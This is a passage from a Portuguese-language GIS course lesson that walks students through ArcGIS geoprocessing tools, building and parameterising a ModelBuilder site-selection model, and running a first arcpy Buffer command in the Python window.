que você precisa, em vez de navegar nesta árvore. • Vamos examinar uma ferramenta. Expanda AnalisysTools> Proximity> Buffer e clique duas vezes na ferramenta Buffer para abri-la. • Preste atenção aos componentes que compõem a interface do usuário. Especificamente, você está olhando para uma caixa de diálogo com muitos campos. Cada ferramenta de geoprocessamento exige parâmetros de entradas e saídas. Estes são indicados pelos pontos verdes. Eles representam a quantidade mínima de informações que você precisa fornecer para executar uma ferramenta. Para a ferramenta Buffer, é necessário fornecer um local que indica o arquivo de entrada (as feições que 10 serão utilizadas para o buffer) e uma distância de buffer. Você também é obrigado a indicar um local para o arquivo de saída (para o novo arquivo com o resultado da operação de buffer). • Muitas ferramentas também possuem parâmetros opcionais. Você pode modificá-los se quiser, mas se não os fornecer, a ferramenta ainda será executada usando os valores padrão. Para a ferramenta Buffer, os parâmetros opcionais são Side Type, End Type, Dissolve Type e Dissolve Fields. Parâmetros opcionais são normalmente especificados após os parâmetros requeridos. • Clique no botão Show Help no canto inferior direito da ferramenta (se ele mostrar Hide Help, você já estará visualizando a ajuda). Agora você pode clicar em qualquer parâmetro na caixa de diálogo para ver uma explicação desse parâmetro na janela da direita. • Se você não tiver certeza do significado de um parâmetro, essa é uma boa maneira de aprender. Por exemplo, com a ajuda ainda aberta, clique na caixa de entrada Side Type na ferramenta Buffer (exatamente onde diz "FULL"). A Ajuda explica o que significa o parâmetro Side Type e lista as diferentes opções: FULL, LEFT, RIGHT e OUTSIDE_ONLY. Se você precisar de mais ajuda, cada ferramenta é mais amplamente documentada na Ajuda do ArcGIS Desktop (com exemplos do Python!). Você pode ir diretamente para a ajuda da ferramenta Buffer clicando no botão Tool Help na caixa de diálogo da ferramenta, mas você frequentemente desejará acessar essas páginas de ajuda sem abrir a própria ferramenta. Abaixo estão os passos para fazer isso. • No menu principal do ArcMap, clique em Help> ArcGIS Desktop Help. Opcionalmente, para a ajuda mais atualizada, você pode usar a ajuda da Esri na Web. • Na guia Sumário do sistema de Ajuda, expanda Tools> Tools Reference. Observe que os tópicos de ajuda nesta seção estão organizados em caixas de ferramentas e conjuntos de ferramentas, em paralelo ao layout das caixas de ferramentas do sistema ArcGIS. • Continue navegando no índice de ajuda para a Analisys toolbox> Proximity toolset> Buffer. Percorra todo o tópico examinando todas as informações fornecidas sobre a ferramenta Buffer. Aqui você obtém dicas sobre o que a ferramenta Buffer faz, como usá-la e como fornecer todos os seus parâmetros. • Ainda no tópico Buffer, role até a seção marcada Code sample. O tópico de ajuda de cada ferramenta possui exemplos de programação que mostram maneiras de executar a ferramenta automaticamente. Esses exemplos são escritos em Python e serão extremamente valiosos para você conforme você conclui as tarefas neste curso. Sempre verifique a Referência da Ferramenta de Geoprocessamento na Ajuda se estiver com problemas para executar uma ferramenta em Python. Ambientes para acessar ferramentas Você pode acessar as ferramentas de geoprocessamento do ArcGIS de várias maneiras diferentes: • Às vezes, você só precisa executar uma ferramenta uma única vez ou testar uma ferramenta e seus parâmetros. Neste caso, você pode abrir a ferramenta 11 diretamente do Catálogo e usar a interface gráfica do usuário da ferramenta (GUI, Graphic Unit Interface) para preencher os parâmetros. • O ModelBuilder também é um aplicativo GUI no qual você pode configurar ferramentas para executar em uma determinada sequência, usando a saída de uma ferramenta como entrada para outra ferramenta. • Se você estiver familiarizado com a ferramenta e quiser usá-la rapidamente no ArcMap, talvez prefira a abordagem da janela de comandos Python. Você digita o nome da ferramenta e os parâmetros necessários em uma janela de comando. Você pode usar essa janela para executar várias ferramentas em uma linha e declarar variáveis, efetivamente fazendo scripts simples. • Se você quiser executar a ferramenta automaticamente, repetidamente ou como parte de uma sequência lógica maior de ferramentas, poderá executá-la a partir de um script. Executar uma ferramenta a partir de um script é a opção mais poderosa e flexível. Começaremos com o mais simples desses casos, executando uma ferramenta a partir de sua GUI e indo para o script. Executando uma ferramenta a partir de sua caixa de diálogo Vamos começar abrindo uma ferramenta a partir da janela Catálogo e executando-a usando sua interface gráfica do usuário (GUI). • Se por acaso você ainda tiver a ferramenta Buffer aberta da seção anterior, feche-a por enquanto para adicionar alguns dados. • Crie uma pasta na sua máquina em C:\SEA5923. Se você usar um caminho diferente, substitua seu caminho nos exemplos a seguir. • Extraia os dados de Dados.zip para sua nova pasta, de modo que os dados fiquem no caminho C:\SEA5923\Dados\. Esta pasta contém uma variedade de conjuntos de dados que você usará ao longo da lição. • Abra o ArcMap e crie um novo mapa. • Clique no botão Add data e navegue até os dados que você acabou de extrair. Adicione os arquivos Limite e Sedes_Municipais. • Abra a janela Catálogo, se necessário, e navegue até a ferramenta Buffer, como fez na seção anterior. • Clique duas vezes na ferramenta Buffer para abri-la. • Examine o primeiro parâmetro necessário: Input features. Clique no botão Browse e navegue até o caminho do conjunto de dados de cidades C:\SEA5923\Dados\Sedes_Municipais.shp. Observe que, quando você fizer isso, um caminho será fornecido automaticamente para a classe de feições de saída. O software faz isso apenas para sua conveniência e você pode alterar o caminho se quiser. • Uma maneira mais conveniente de fornecer os parâmetros de entrada é apenas selecionar a camada de mapa de cidades no menu suspenso. Esta lista suspensa contém automaticamente todas as camadas no seu documento de mapa. No 12 entanto, neste exemplo, navegamos para o caminho dos dados porque é conceitualmente semelhante a como forneceremos os caminhos na linha de comando e nos ambientes de script. • Agora você precisa fornecer o parâmetro Distance para o buffer. Para esta execução da ferramenta, defina uma unidade linear (Linear Unit) de 5 Km. Quando executamos a ferramenta a partir dos outros ambientes, aumentaremos ligeiramente a distância do buffer, por isso sabemos que temos saídas distintas. • O restante dos parâmetros é opcional. Os parâmetros Side Type e End Type aplicam-se somente a linhas e polígonos, portanto, eles nem estão disponíveis para configuração no ambiente da GUI ao trabalhar com pontos das cidades. No entanto, altere o Dissolve Type para ALL. Isso combina buffers sobrepostos em um único polígono. • Clique em OK para executar a ferramenta. • A ferramenta deve levar apenas alguns segundos para ser concluída. Examine a saída que aparece no mapa e faça uma “verificação” para se certificar de que os buffers apareçam ao redor das cidades e eles parecem ter cerca de 5 quilômetros de raio. Você pode precisar aumentar o zoom para ver os buffers. • Clique no menu Geoprocessing e clique em Results. Esta janela lista mensagens sobre sucessos ou falhas de todas as ferramentas recentes que você executou. • Expanda a ferramenta Buffer até que você possa ver todas as mensagens. Eles listam os parâmetros da ferramenta, o tempo de conclusão e quaisquer problemas que ocorreram durante a execução da ferramenta. (veja a figura) Essas mensagens podem ser de grande ajuda mais tarde, quando você soluciona problemas de seus scripts Python. O texto dessas mensagens está disponível se você executar a ferramenta a partir da GUI, da janela do Python no ArcMap ou de scripts. Captura da tela Results mostrando a ferramenta Buffer e todas as mensagens. Modelando com ferramentas Quando você trabalha com geoprocessamento, muitas vezes você vai querer usar a saída de uma ferramenta como entrada para outra ferramenta. Por exemplo, suponha que você queira encontrar todos os hidrantes a menos de 200 metros de um prédio. Você realizaria primeiro o buffer de 200 metros e, em seguida, usaria o buffer de saída como uma restrição espacial para selecionar hidrantes. A saída da ferramenta Buffer seria usada como uma entrada para a ferramenta Select by Location. 13 Um conjunto de ferramentas encadeadas dessa maneira é chamado de modelo. Os modelos podem ser simples, consistindo em apenas algumas ferramentas, ou complexos, consistindo em muitas ferramentas e parâmetros e, ocasionalmente, em alguma lógica iterativa. Seja grande ou pequeno, o benefício de um modelo é que ele resolve um problema geográfico único que não pode ser resolvido por uma das ferramentas “out-of-the-box”. No ArcGIS, a modelagem pode ser feita através da interface gráfica do usuário ModelBuilder (GUI) ou através de código, usando Python. Para manter nossos termos claros, vamos nos referir a qualquer coisa construída no ModelBuilder como um “modelo” e qualquer coisa construída através do Python como um “script”. No entanto, é importante lembrar que ambas as coisas estão fazendo modelagem. Por que aprender ModelBuilder? ModelBuilder é a interface gráfica da ESRI para fazer modelos. Você pode arrastar e soltar ferramentas da janela Catálogo para o modelo e “conectá-las”, especificando a ordem na qual elas devem ser executadas. Embora este seja basicamente um curso sobre scripts, passaremos algum tempo no ModelBuilder durante a primeira lição por dois motivos: O ModelBuilder é um ambiente agradável para explorar as ferramentas do ArcGIS, aprender como as entradas e saídas da ferramenta são usadas e entender visualmente como a modelagem do SIG funciona. Quando você começar a usar o Python, você não terá a mesma assistência visual para ver como as ferramentas que você está usando estão conectadas, mas você ainda pode querer desenhar seu modelo em um quadro de forma semelhante ao que você viu no ModelBuilder. ModelBuilder pode frequentemente reduzir a quantidade de codificação Python que você precisa fazer. Se o seu problema de SIG não requer uma lógica condicional e iterativa avançada, você poderá executar seu trabalho no ModelBuilder sem escrever um script. ModelBuilder também permite que você exporte qualquer modelo para código Python, então se você ficar preso implementando algumas ferramentas dentro de um script, pode ser útil criar um modelo de trabalho simples em ModelBuilder e exportá-lo para Python para ver como o ArcGIS construiria o código. (A exportação de um modelo complexo não é recomendada para iniciantes devido à quantidade detalhada de código que o ModelBuilder tende a criar ao exportar o Python). Abrindo e explorando ModelBuilder Vamos praticar um pouco com o ModelBuilder para resolver um cenário real. Suponha que você esteja trabalhando em um problema de seleção de locais (áreas com aptidão a determinado uso, por exemplo), no qual você precisa selecionar todas as áreas que caem dentro de 5 km de uma rodovia principal e 5 km de uma cidade. A área selecionada não pode ficar no oceano ou fora de um limite definido. Resolver o problema exige que você faça buffers em torno das estradas e das cidades, cruze os buffers e, em seguida, limite-os ao contorno determinado. Em vez de abrir manualmente a ferramenta Buffer duas vezes, 14 seguida pela ferramenta Intersect e, em seguida, pela ferramenta Clip, você pode configurá- las no ModelBuilder para serem executadas como um processo. • Crie um novo documento de mapa no ArcMap e adicione os shapefiles Sedes_Municipais, Rodovias e Limite da pasta de dados que você configurou anteriormente nesta lição. Salve seu documento de mapa como C:\SEA5923\Modelos.mxd. • No ArcGIS, todos os modelos são armazenados em caixas de ferramentas. A primeira coisa que você precisa fazer é criar uma caixa de ferramentas para armazenar seu novo modelo. Se a janela Catálogo já não estiver visível, exiba-a clicando no item de menu Windows> Catalog. • Na janela Catálogo, expanda os nós até ver as Toolboxes> My Tollboxes. • Clique com o botão direito em My Toolboxes e clique em New> Toolbox. Nomeie-o como SEA5923. (O software pode adicionar .tbx, o que é bom) • Clique com o botão direito do mouse na caixa de ferramentas SEA5923.tbx e clique em New> Model. Você verá o ModelBuilder aparecer. • No ModelBuilder, clique em Model> Model Properties. • Para o Name, digite “Aptidao” e, para o Label, digite “Localizar áreas com aptidão”. O rótulo é o que todos verão quando abrirem sua ferramenta no catálogo. É por isso que pode conter espaços. O nome é o que as pessoas usarão se alguma vez executarem seu modelo a partir do Python. É por isso que não pode conter espaços. • Clique em OK para descartar a caixa de diálogo Propriedades do modelo. Agora você tem uma tela em branco na qual você pode arrastar e soltar as ferramentas. Ao criar um modelo (e ao escrever scripts em Python), é melhor dividir seu problema em partes gerenciáveis. O problema simples de seleção de “sites” aqui pode ser considerado como quatro etapas: • Buffer para as cidades • Buffer para as estradas • Intersectar os buffers • Clipe para a região de limite Vamos abordar esses itens um de cada vez, começando com o buffer das cidades. • Com o ModelBuilder ainda aberto, vá para a janela Catálogo e navegue até Toolboxes > System Toolboxes > Analysis Tools > Proximity. • Clique na ferramenta Buffer e arraste-a para a tela ModelBuilder. Você verá uma caixa retangular branca representando a ferramenta de buffer e uma forma oval branca representando os buffers de saída. Eles estão conectados a uma linha, mostrando que a ferramenta Buffer sempre produzirá um conjunto de dados de saída. No ModelBuilder, as ferramentas são representadas com caixas e as variáveis são representadas com ovais. No momento, a ferramenta Buffer, no centro, é branca porque você ainda não forneceu os parâmetros necessários. Depois de fazer isso, a ferramenta e a variável serão preenchidas com cor. 15 • Na janela ModelBuilder, clique duas vezes na caixa Buffer. O diálogo da ferramenta aqui é o mesmo que se você tivesse aberto o Buffer diretamente do ArcToolbox. É aqui que você pode fornecer parâmetros para a ferramenta. • Para Input Features, navegue até o caminho do arquivo shape Sedes_Municipais. A classe de feições de saída será preenchida automaticamente. • Para Distance [value or field], insira 5 Kilometer. • Para Dissolve Type, selecione ALL e clique em OK para fechar a caixa de diálogo Buffer. Os elementos do modelo (ferramentas e variáveis) devem ser preenchidos com cor e você deve ver um novo elemento à esquerda da ferramenta que representa a classe de feições de cidades como entrada. • Uma parte importante do trabalho com o ModelBuilder é fornecer rótulos claros para todos os elementos. Dessa forma, se você compartilhar seu modelo, os outros poderão entender facilmente o que acontecerá quando for executado. Fornecer rótulos claros também ajuda você a lembrar o que o modelo faz, especialmente se você não trabalhar com o modelo por algum tempo. • No ModelBuilder, clique com o botão direito do mouse no elemento Sedes_Municipais.shp (oval azul, à esquerda) e clique em Rename. Nomeie esse elemento como "Cidades". • Clique com o botão direito na ferramenta Buffer (caixa amarelo-laranja, no centro) e clique em Rename. Nomeie isso "Buffer das cidades". • Clique com o botão direito do mouse no elemento Sedes_MuniciapaisBuffer1.shp (oval verde, à direita) e clique em Rename. Nomeie isso como "Cidades com buffer". Seu modelo deve se parecer com isso. A aparência do modelo. • Salve seu modelo (Model> Save). Este é o tipo de atividade em que você deseja salvar com frequência. • Pratique o que você acabou de aprender adicionando outra ferramenta Buffer ao seu modelo. Desta vez, configure a ferramenta para que ela armazene o arquivo shape Rodovias com 20 km. Lembre-se de definir o tipo Dissolve para ALL e adicionar rótulos significativos. Seu modelo deve agora se parecer com isso. 16 A aparência do modelo após o passo acima. • A próxima tarefa é interceptar os buffers. Na lista de caixas de ferramentas da janela Catálogo, navegue até Analysis Tools> Overlay e arraste a ferramenta Intersect para o seu modelo. Posicione-o à direita das ferramentas do Buffer existentes. • Aqui está o momento crucial em que você encadeia as ferramentas, definindo as saídas de suas ferramentas Buffer como entradas da ferramenta Intersect. Clique na ferramenta Connect e , em seguida, clique no elemento Cidades com buffer seguido pelo elemento Intersect. Se você vir um pequeno menu, clique em Input Features para indicar que as cidades em buffer agem como entradas para a ferramenta Intersect. Uma seta agora apontará do elemento Cidades com buffer para o elemento Intersect. • Use o mesmo processo para conectar as Rodovias com buffer ao elemento Intersect. Novamente, se solicitado, clique em Input Features. • Renomeie a saída da operação Intersect como "Intersected buffers". Se o texto for executado em várias linhas, você poderá clicar e arrastar as bordas do elemento para redimensioná-lo. Você também pode reorganizar os elementos na página da forma que desejar. Como os modelos podem ficar grandes, o ModelBuilder contém vários botões de navegação para ampliar e aplicar zoom em toda a extensão do modelo. Seu modelo deve estar assim: A aparência do modelo seguindo o passo acima. • A etapa final é recortar os buffers interceptados no contorno dos Estados Unidos. Isso impede que qualquer área selecionada caia fora do limite. Na janela 17 Catálogo, navegue até Analysis Tools> Extract e arraste a ferramenta Clip para o ModelBuilder. Posicione essa ferramenta à direita de suas ferramentas existentes. • Use a ferramenta Connect novamente para definir os buffers interceptados como uma entrada para a ferramenta Clip, escolhendo Input Features quando solicitado. Observe que, mesmo quando você faz isso, a ferramenta Clip não está pronta para ser executada (ela ainda é mostrada como um retângulo branco, localizado à direita). Você precisa fornecer o parâmetro de recorte, que é o contorno para a qual os buffers serão cortados. • No ModelBuilder (não na janela Catálogo), clique duas vezes na ferramenta Clip. Defina o parâmetro navegando até o caminho de Limite.shp e clique em OK para fechar a caixa de diálogo. Você notará que um oval azul apareceu representando a Clip Features (Limite). • Defina rótulos significativos para as ferramentas restantes, conforme mostrado o exemplo abaixo de como você pode rotular e organizar os elementos do modelo. O modelo completo com a ferramenta de clipe incluída. • Clique duas vezes no elemento de saída final (chamado "Área de Aptidão" na imagem acima) e defina o caminho para C:\SEA5923\Dados\AreaAptidao.shp. • Clique com o botão direito do mouse em "Área de Aptidão" e clique em Add to display. • Salve seu modelo novamente. • Teste o modelo clicando no botão Executar. . O ModelBuilder também fornece uma indicação visual de qual ferramenta está sendo executada, tornando a ferramenta em execução vermelha. • Quando o modelo terminar de rodar (pode demorar um pouco), examine a saída no ArcMap. Amplie para verificar se o Clip funcionou nas áreas costeiras. A saída deve ser semelhante a isso. 18 A saída do modelo no ArcMap. É isso aí! Você acabou de usar o ModelBuilder para encadear várias ferramentas e resolver um problema de SIG. Você pode clicar duas vezes nesse modelo a qualquer momento na janela Catálogo e executá-lo como faria com uma ferramenta. Se você fizer isso, notará que o modelo não possui parâmetros; você não pode alterar a distância do buffer ou os recursos de entrada. A verdade é que nosso modelo é útil para resolver esse problema específico de seleção de sites com esses conjuntos de dados específicos, mas não é muito flexível. Na próxima seção da lição, tornaremos esse modelo mais versátil, configurando algumas das variáveis como parâmetros de entrada e saída. Execução de modelo sem parâmetros Parâmetros do modelo A maioria das ferramentas, modelos e scripts criados com o ArcGIS possuem parâmetros. Parâmetros de entrada são valores com os quais a ferramenta (ou modelo ou script) inicia seu trabalho e os parâmetros de saída representam o que a ferramenta fornece como resultado após o término de sua execução. Uma ferramenta, modelo ou script sem parâmetros só serve em um cenário específico. Considere o modelo que você acabou de criar que usava as ferramentas Buffer, Intersect e Clip. Esse modelo foi codificado para usar os arquivos shapefiles Sedes_Municipais, Rodovias e Limite e gerar um shapefile chamado AreaAptidao. Em outras palavras, se você quisesse executar o modelo com outros conjuntos de dados, teria que abrir o ModelBuilder, clicar duas vezes em cada elemento (Cidades, Rodovias, Limite e Área de Aptidão) e alterar 19 os caminhos que foram gravados diretamente no modelo. Você teria que seguir um processo semelhante se também quisesse alterar as distâncias de buffer, já que elas eram codificadas a 5 quilômetros. Vamos modificar esse modelo para usar alguns parâmetros, para que você possa executá-lo facilmente com diferentes conjuntos de dados e distâncias de buffer. • Se ainda não estiver aberto, abra o documento do mapa C:\SEA5923\Modelos.mxd no ArcMap. • Na janela Catalog, encontre o modelo criado na lição anterior, que deve estar em Toolboxes> My Toolboxes> SEA5923> Localizar áreas de aptidão. • Clique com o botão direito no modelo Localizar áreas de aptidão e clique em Copy. Agora clique com o botão direito do mouse na caixa de ferramentas SEA5923 e clique em Paste. Isso cria uma nova cópia do seu modelo com a qual você pode trabalhar para criar parâmetros de modelo. Usando uma cópia do modelo como este permite que você facilmente comece de novo se você cometer um erro. • Renomeie a cópia do seu modelo Localizar áreas de aptidão com parâmetros ou algo similar. • Na sua caixa de ferramentas SEA5923, clique com o botão direito do mouse em Localizar áreas de aptidão com parâmetros e clique em Edit. Você verá o modelo aparecer no ModelBuilder. • Clique com o botão direito do mouse no elemento Cidades (deve ser um oval azul) e clique em Model Parameter. Isso significa que quem quer que execute o modelo deve especificar o conjunto de dados de cidade a ser usado antes que o modelo possa ser executado. • Mesmo que você tenha "parametrizado" as cidades, seu modelo ainda usa o conjunto de dados C:\SEA5923\Dados\Sedes_Municipais.shp. Isso não fará muito sentido se você compartilhar seu modelo ou caixa de ferramentas com outras pessoas, pois elas podem não ter o mesmo arquivo shape e, mesmo se o tenham, provavelmente não estarão no mesmo caminho em suas máquinas. • Para remover o conjunto de dados padrão, clique duas vezes no elemento Cidades, exclua o caminho e clique em OK. Alguns dos elementos do seu modelo podem ficar brancos. Isso significa que um valor deve ser fornecido antes que o modelo possa ser executado com sucesso. • Agora você precisa criar um parâmetro para a distância do buffer a ser criado em torno das cidades. Clique com o botão direito do mouse no elemento que você chamou de "Buffer das cidades" e clique em Make Variable> From Parameter> Distance [value or field]. • A etapa anterior criou um novo elemento Distance. Renomeie este elemento para "Distância" e torne-o um parâmetro de modelo. (Revise as etapas acima se não tiver certeza sobre como renomear um elemento ou torná-lo um parâmetro de modelo.) Para este elemento, você pode deixar o padrão em 5 quilômetros. • Repetindo o que você aprendeu acima, altere o elemento Rodovias, torne-o um parâmetro de modelo e remova o valor padrão. • Repetindo o que você aprendeu acima, crie um parâmetro para a distância do buffer de rodovias. Deixe o padrão em 5 quilômetros. 20 • Repetindo o que você aprendeu acima, altere o elemento Limite, torne-o um parâmetro de modelo e remova o valor padrão. Seu modelo deve ficar assim (observe os cinco parâmetros indicados por "P" s): O modelo "Localizar áreas de aptidão com parâmetros " seguindo o passo acima, e mostrando cinco parâmetros. • Salve seu modelo e feche o ModelBuilder. • Clique duas vezes no modelo SEA5923> Localizar áreas de aptidão com parâmetros e examine o diálogo da ferramenta. Deve ser semelhante a isto: A interface do modelo, ou diálogo da ferramenta, para o modelo "Localizar áreas de aptidão com parâmetros" • As pessoas que executam esse modelo poderão navegar em quaisquer conjuntos de dados de cidades, rodovias e limites e poderão controlar a distância do buffer. Os pontos verdes indicam parâmetros que devem ser fornecidos com valores válidos antes que o modelo possa ser executado. 21 • Teste seu modelo fornecendo os arquivos Sedes_Municipais, Rodovias e Limite para os parâmetros do modelo. Se você quiser, você pode tentar mudar a distância do buffer. Note que às vezes o resultado não se adiciona ao display como deveria. Você deve ser capaz de adicioná-lo ao display usando o botão Add Data e navegando até o local AreaAptidao.shp. O exercício acima demonstrou como você pode expor valores como parâmetros usando o ModelBuilder. Você precisa decidir quais valores deseja que o usuário possa alterar e designar esses como parâmetros. Quando você escreve scripts em Python, também é necessário identificar e expor parâmetros de maneira semelhante. Conceitos avançados de geoprocessamento e ModelBuilder Até agora você já teve alguma prática com o ModelBuilder e está pronto para começar a usar o Python. Esta parte da lição contém algum material avançado que você pode ler sobre o ModelBuilder. Isso é particularmente útil se você faz uso do ModelBuilder com frequência no seu trabalho. Alguns dos itens são comuns à estrutura de geoprocessamento do ArcGIS, o que significa que eles também se aplicam ao escrever scripts Python com o ArcGIS. Gerenciando dados intermediários A análise em SIG às vezes é extensa confusa. A maioria das ferramentas que você executa produz um conjunto de dados de saída e, ao encadear várias ferramentas, esses conjuntos de dados começam a se acumular no disco. Mesmo que você seja diligente em nomear intuitivamente seus conjuntos de dados, é fácil acabar com uma pasta cheia de conjuntos de dados com nomes como buffers1, clippedbuffers1, intersectedandclippedbuffers1, raster2reclassificados, etc. Na maioria dos casos, você está preocupado apenas com o conjunto de dados de saída final. Os dados intermediários são apenas temporários; você só precisa mantê-lo durante o tempo necessário para executar o modelo e, depois, ele pode ser excluído. O ModelBuilder pode gerenciar seus dados intermediários para você, colocando-os em um diretório temporário chamado de scratch workspace (área de trabalho de rascunho). Por padrão, a área de trabalho de rascunho é o diretório temporário de seu sistema operacional, mas você pode configurá-lo para existir em outro local. Você pode forçar os dados a entrarem na área de trabalho de rascunho usando a variável %SCRATCHWORKSPACE% no caminho. Por exemplo:%SCRATCHWORKSPACE%\myOutput.shp Você também pode marcar qualquer elemento no ModelBuilder como Intermediário e ele será excluído depois que o modelo for executado. Por padrão, todos os dados derivados são intermediários. Os tópicos a seguir da ajuda da ESRI entram em mais detalhes sobre dados intermediários e são importantes para entender quando você trabalha com o framework de geoprocessamento. Eu sugiro lê-los uma vez agora e retornar a eles ocasionalmente durante 22 o curso. Alguns dos conceitos neles são mais fáceis de entender uma vez que você tenha trabalhado com geoprocessamento por um tempo. Um tour rápido pelo gerenciamento de dados intermediários (http://desktop.arcgis.com/en/arcmap/latest/analyze/modelbuilder/a-quick-tour-of-managing- intermediate-data.htm) Usando os ambientes de espaço de trabalho atual e de rascunho (http://desktop.arcgis.com/en/arcmap/latest/analyze/executing-tools/using-the-current-and-scratch- workspace-environments.htm) Gerenciando dados intermediários (scratch) no modelo compartilhado e nas ferramentas de script (http://desktop.arcgis.com/en/arcmap/latest/analyze/sharing- workflows/managing-intermediate-data-in-models-and-scripts.htm) Looping no ModelBuilder Loop, ou iteração, é o ato de repetir um processo. Um dos principais benefícios dos computadores é sua capacidade de repetir rapidamente tarefas que, de outra forma, seriam rotineiras, incômodas ou passíveis de erros para um ser humano repetir e gravar. O looping é um conceito-chave em programação de computadores e você o usará com frequência ao escrever scripts em Python para esse curso. O ModelBuilder contém um número de elementos chamados Iteradores que podem fazer looping de várias maneiras. Os nomes desses iteradores, como For e While, na verdade, imitam os tipos de loop que você pode programar em Python ou em outras linguagens. Neste curso, vamos nos concentrar em aprender iteração em Python, o que pode ser tão fácil quanto aprender como usar um iterador ModelBuilder. Para dar uma olhada em como a iteração funciona no ModelBuilder, você pode visitar o manual de ajuda do ArcGIS Desktop para iteração de modelo (http://desktop.arcgis.com/en/arcmap/latest/analyze/modelbuilder/a-quick-tour-of-using- iterators-for-iteration-looping-.htm). Se você tiver problemas para entender o loop em lições posteriores, o ModelBuilder pode ser um bom ambiente para visualizar o que um loop faz. Você pode voltar e visitar a ajuda conforme necessário. Leituras Leia Zandbergen Chapter 2.1 - 2.9 para reforçar o que você aprendeu sobre geoprocessamento e ModelBuilder. Introduzindo o Python usando a janela do Python no ArcGIS A melhor maneira de introduzir o Python pode ser olhar um pouco de código. Vamos pegar a ferramenta Buffer que você executou recentemente na GUI do ArcToolbox e executá-la na janela de Comandos Python do ArcGIS. Esta janela permite que você digite uma simples série de comandos Python sem escrever scripts completos. A janela do Python é uma ótima maneira de ter um primeiro contato com o Python. Desta vez, faremos buffers de 10 Km ao redor das cidades. • Abra o ArcMap para um novo mapa. • Adicione o conjunto de dados Sedes_Municipais.shp do diretório de dados. 23 • Na barra de ferramentas Standard, clique no botão Python Windows. Quando a janela aparecer, arraste-a para o lado ou para baixo da tela para encaixá-la. • Digite o seguinte na janela do Python (Não digite o >>>. Eles são incluídos apenas para mostrar onde as novas linhas começam na janela do Python.) >>> import arcpy >>> arcpy.Buffer_analysis ("Sedes_Municipais", "Cidades_buffer_15km", "15 kilometers", "", "", "ALL") • Amplie e examine os buffers criados. Você acabou de executar seu primeiro comando de Python. Você não precisa entender tudo sobre o código que escreveu nesta janela, mas aqui estão algumas coisas importantes a serem observadas. A primeira linha do script “Import arcpy” informa ao interpretador Python (que foi instalado quando você instalou o ArcGIS) que você irá trabalhar com algumas funções e ferramentas especiais de script incluídas no ArcGIS. Sem essa linha de código, o Python não sabe nada sobre o ArcGIS, então você o colocará no topo de todos os códigos relacionados ao ArcGIS que você escreverá nesta classe. Você tecnicamente não precisa desta linha quando você trabalha com a janela do Python no ArcMap porque o arcpy já é importado, mas eu queria mostrar esse padrão antes; você vai usá-lo em todos os scripts que você escrever fora da janela do Python. A segunda linha do script, na verdade, executa a ferramenta. Você pode digitar arcpy, acompanhado de um ponto, além de qualquer nome de ferramenta do ArcGIS para executá- la no Python. Observe aqui que você também coloca um underscore seguido pelo nome da caixa de ferramentas que inclui a ferramenta que irá utilizar. Isso é necessário porque algumas ferramentas em diferentes caixas de ferramentas realmente têm o mesmo nome (como o Clip, que é uma ferramenta para recortar vetores na caixa de ferramentas Analysis ou ferramenta para recorte de rasters na caixa de ferramentas Data Management). Depois de digitar arcpy.Buffer_analysis, você digitou todos os parâmetros para a ferramenta. Cada parâmetro foi separado por uma vírgula e toda a lista de parâmetros foi colocada entre parênteses. Acostume-se com esse padrão, já que você o seguirá com todas as ferramentas executadas neste curso. Nesse código, também fornecemos alguns parâmetros opcionais, deixando aspas vazias onde queríamos obter os valores padrão e truncando a lista de parâmetros no parâmetro opcional final que queríamos definir. Como você conhece a sintaxe ou estrutura dos parâmetros a serem inseridos? Por exemplo, para a distância do buffer, você deve inserir 15KILOMETERS, '15Kilometers', 15 Km ou '15 kilometers'? A melhor maneira de responder a perguntas como essas é retornar ao tópico da ajuda de referência da ferramenta Geoprocessing para a ferramenta Buffer. Todos os tópicos nesta seção de referência possuem uma seção de uso e exemplo de linha de comando para ajudá-lo a entender como estruturar os parâmetros. Parâmetros opcionais são colocados entre chaves, enquanto os parâmetros necessários não são. Do exemplo neste tópico, você pode ver que a distância do buffer deve ser especificada como '15 kilometers'. Como há um espaço nesse texto ou string, você precisa cercá-lo com aspas. Você deve ter notado que a janela do Python ajuda a mostrar diferentes opções que você pode digitar para cada parâmetro. Isso é chamado de autocompletar, e pode ser muito útil se você estiver tentando executar uma ferramenta pela primeira vez e não souber exatamente como digitar os parâmetros. 24 Existem algumas diferenças entre escrever código na janela do Python e escrever código em algum outro programa, como o Notepad ou o Python Scripter. Na janela do Python, você pode fazer referência a camadas no documento do mapa apenas por seus nomes, em vez de seus caminhos de arquivo. Assim, conseguimos digitar "Sedes_Municipais" em vez de algo como "C:\\SEA5923\\Dados\\Sedes_Municipais.shp". Também conseguimos criar o nome de uma nova camada "Cidades_buffer_15km" e incluí- la no mapa por padrão após a execução do código. Se você for usar seu código fora da janela do Python, certifique-se de usar os caminhos completos. Quando você escreve scripts mais complexos, será útil usar um ambiente de desenvolvimento integrado (IDE), ou seja, um programa projetado especificamente para ajudá-lo a escrever e testar o código Python. Mais adiante neste curso, exploraremos o IDE do PythonWin. Anteriormente nesta lição você viu como as ferramentas podem ser encadeadas para resolver um problema usando o ModelBuilder. O mesmo pode ser feito em Python, mas será necessário um pouco de trabalho para chegar a esse ponto. Por esse motivo, passaremos o restante da Aula 1 cobrindo alguns dos princípios básicos do Python. Leituras Reserve alguns minutos para ler o capítulo 3 de Zandbergen, um capítulo relativamente curto, onde ele explica a janela do Python e algumas coisas que você pode fazer com ela. O que é o Python? Python é uma linguagem usada para automatizar tarefas de computação por meio de programas chamados scripts. Na introdução desta lição, você aprendeu que a automação torna o trabalho mais fácil, mais rápido e mais preciso. Isso se aplica ao SIG e muitas outras áreas da ciência da computação. O aprendizado de Python fará de você um analista GIS mais eficaz, mas a programação em Python é uma habilidade técnica que pode ser benéfica para você mesmo fora do campo de SIG. O Python é uma boa linguagem para iniciar a programação. O Python é uma linguagem de alto nível, o que significa que você não precisa entender como os computadores funcionam para usá-la. A sintaxe do Python (como as instruções de código são construídas) é relativamente simples de ler e entender. Por fim, o Python requer muito pouco para colocar um programa em funcionamento. O Python é uma linguagem de código aberto e não há custos para usá-la ou implantar programas nela. O Python pode ser executado nos sistemas operacionais Windows, Linux e Unix. No ArcGIS, o Python pode ser usado praticamente como um atalho, o que significa que você pode usá-lo para executar facilmente ferramentas de geoprocessamento como a ferramenta Buffer com a qual trabalhamos. Você poderia codificar toda a lógica do buffer, usando uma programação mais detalhada com o ArcObjects, mas isso seria demorado e desnecessário na maioria dos cenários; sendo mais fácil apenas chamar a ferramenta Buffer de um script Python usando uma linha de código. 25 Além da ajuda ESRI que descreve todos os parâmetros de uma função e como acessá- los a partir do Python, você também pode obter a sintaxe Python (a estrutura da linguagem) para uma 